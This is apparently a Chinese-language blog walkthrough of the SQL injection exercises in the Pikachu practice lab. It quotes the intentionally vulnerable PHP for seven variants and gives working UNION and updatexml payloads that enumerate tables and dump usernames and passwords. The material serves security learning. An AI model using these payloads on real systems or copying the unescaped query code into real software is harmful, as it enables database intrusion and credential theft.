pikachu-SQL-Inject(SQL注入)

1、数字型注入

查看代码:

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

和DVWA的中级难度差不多,是一个整数型注入,DVWA多了一个特殊符号转义

payload:

1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()# //1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=‘users’#   //列,由于单引号被转义,用16进制转换
1+union+select+group_concat(username),group_concat(password)+from+users#    //数据

 

数据

 

 

2、字符型注入(get)

查看代码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

没有任何过滤的字符型get注入,和DVWA的低难度差不多

payload:

 

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   //表
' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #     //' union select group_concat(username),group_concat(password) from users #  //数据

 

 

数据

3、搜索型注入

查看代码:

if(isset($_GET['submit']) && $_GET['name']!=null){

    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

这里和之前的get型差不多,就是列多了一行

payload:

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
' union select 1,group_concat(username),group_concat(password) from users #

 

 表

 

 

数据

 

 

4、xx型注入

查看代码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

还是一个get型字符串类型的注入,但是此时需要注意闭合方式,他这里的代码用了单引号加上括号闭合

payload:

') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
') union select group_concat(username),group_concat(password) from users #

 

数据

 

 5、insert/update注入

代码查看:

if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
//      $getdata=escape($link, $_POST);//转义

        //没转义,导致注入漏洞,操作类型为insert
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";

        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}

首先是在注册界面,由于没有对username进行转义,可以直接构造通过username来构造语句

payload:

' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) or '

 

 

代码查看:

if(isset($_POST['submit'])){
    if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
//        $getdata=escape($link, $_POST);

        //未转义,形成注入,sql操作类型为update
        $getdata=$_POST;
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:sqli_mem.php");
        }else {
            $html1.='修改失败,请重试';

        }
    }
}

登录界面进行escape转义,无法注入,在修改资料的提交表单中使用update的sql语句进行数据库资料更新,但是这里没有进行转义,因此可以进行注入

 

update经进行数据修改的语句为update tables set sex='$sex' where username='admin' 

将我们的报错语句$sex=' or updatexml(1,concat(0x7e,database(),0x7e),1) or '插入后的sql语句为

update tables set sex='' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where username='admin' ,这样就能够执行我们的sql语句

 

6、delect注入

查看代码:

// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}

直接将传入的id整数插入道delect语句中,没有进行转义或者过滤处理,

payload:

57+or+updatexml(1,concat(0x7e,database(),0x7e),1)
57+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)
57+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)
57+or+updatexml(1,concat(0x7e,(select+group_concat(username,0x7e,password)+from+users),0x7e),1)

数据

 

7、http header注入

查看代码:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

在登录成功的时候会直接获取header信息,然后直接赋值给相应的对象,但是没有进行任何处理,就直接插入数据库中

payload:

' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) or '

 

 列

 

 数据

 

posted @ 2021-01-29 02:31  1jzz  阅读(103)  评论(0编辑  收藏  举报